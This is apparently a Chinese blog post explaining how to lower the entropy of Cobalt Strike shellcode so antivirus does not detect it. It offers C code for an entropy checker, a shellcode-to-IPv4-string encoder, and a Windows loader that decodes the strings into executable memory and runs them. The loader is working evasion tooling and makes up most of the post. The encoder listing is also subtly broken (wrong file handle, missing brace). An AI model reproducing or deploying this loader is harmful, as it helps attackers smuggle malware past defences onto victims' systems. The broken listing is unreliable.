熵-shellcode to xxx
0x01 前言
熵值是用来衡量数据的随机性和不确定性的指标,高熵值表示数据更复杂和随机。
对于Cobalt Strike生成的shellcode,早已被特征容易被AV检测,所以通常会采用加密、混淆等方式来躲避检测。
在构建shellcode时,高熵值的加密方法(例如AES加密)可能会导致被杀毒软件检测到,因为它们增加了shellcode的不可预测性,但也提高了可疑性。
因此,一个常见的策略是在熵值较低的编码方式和加密之间取得平衡。例如,使用轻量级的XOR异或编码对shellcode进行轻微处理,增加熵值的幅度较小,同时降低了检测风险,但是xor对于df会被直接干掉,可以尝试对key在加密一层。
参考:下图原shellcode熵值为6.501075,xor后的为6.501075,aes后的为7.897495。
另一个策略是使用合法值(如IPv4/IPv6地址、MAC地址)对shellcode进行编码,这可以生成较低的熵值,同时减少检测的风险。类似地,使用UUID编码或英文单词编码等方法也可以达到相似的效果,找到一个合适的熵值水平,既保持可用性又不引起高熵值的怀疑。
感兴趣的可以使用下方提供的代码进行测试研究,也可以使用工具:
https://github.com/Haunted-Banshee/Shellcode-Hastur/
接下来提供一种shellcode to ipv4字符串代码以及ipv4 to shellcode加载器代码,关于其他的方式也都有公开代码可以自行查阅。
0x02 代码
2.1 熵值Check
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
double calculate_entropy(const char *file_path) {
FILE *file = fopen(file_path, "rb");
if (!file) {
perror("Error opening file");
exit(EXIT_FAILURE);
}
// 初始化字节计数数组
int byte_count[256] = { 0 };
int total_bytes = 0;
int byte;
// 读取文件并统计每个字节的出现次数
while ((byte = fgetc(file)) != EOF) {
byte_count[byte]++;
total_bytes++;
}
// 计算熵值
double entropy = 0.0;
for (int i = 0; i < 256; i++) {
if (byte_count[i] > 0) {
double probability = (double)byte_count[i] / total_bytes;
entropy -= probability * log2(probability);
}
}
fclose(file);
return entropy;
}
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <file_path>\n", argv[0]);
return EXIT_FAILURE;
}
const char *file_path = argv[1];
double entropy = calculate_entropy(file_path);
printf("Entropy of %s: %lf bits\n", file_path, entropy);
return EXIT_SUCCESS;
}
2.2 Shellcode to IPv4
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main(int argc, char *argv[]) {
FILE *fp = fopen(argv[1], "rb");
if (fp == NULL) {
perror("Error opening file");
return 1;
}
printf("const char* IPv4s[] =\n");
printf(" {\n");
uint32_t chunk;
while (fread(&chunk, sizeof(uint32_t), 1, fp) == 1) {
printf(" \"%d.%d.%d.%d\",\n", (chunk & 0xFF), ((chunk >> 8) & 0xFF), ((chunk >> 16) & 0xFF), ((chunk >> 24) & 0xFF));
}
printf(" };\n");
fclose(f);
return 0;
2.3 IPv4 to Shellcode加载器
c++
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
// 声明 DecodeIPv4Fuscation 函数
void DecodeIPv4Fuscation(const char* IPV4[], PVOID LpBaseAddress, int count);
int main() {
const char* IPv4s[] = {
//这里放置shellcode to ipv4后的数据
"252.232.137.0",
"0.0.96.137",
"229.49.210.100",
};
void* exec = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
int init = sizeof(IPv4s) / sizeof(IPv4s[0]);
DecodeIPv4Fuscation(IPv4s, exec, init);
// for (int i = 0; i < init * 4; i++) {
// printf("%02X", ((unsigned char*)exec)[i]);
//}
//
((void(*)())exec)();
VirtualFree(exec, 0, MEM_RELEASE);
return 0;
}
void DecodeIPv4Fuscation(const char* ipv4Addresses[], PVOID baseAddress, int count) {
PCSTR terminator = NULL;
DWORD_PTR pointer = (DWORD_PTR)baseAddress;
NTSTATUS status;
for (int i = 0; i < count; i++) {
status = RtlIpv4StringToAddressA((PCSTR)ipv4Addresses[i], FALSE, &terminator, (in_addr*)pointer);
if (!NT_SUCCESS(status)) {
return;
}
pointer += 4;
}
}
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果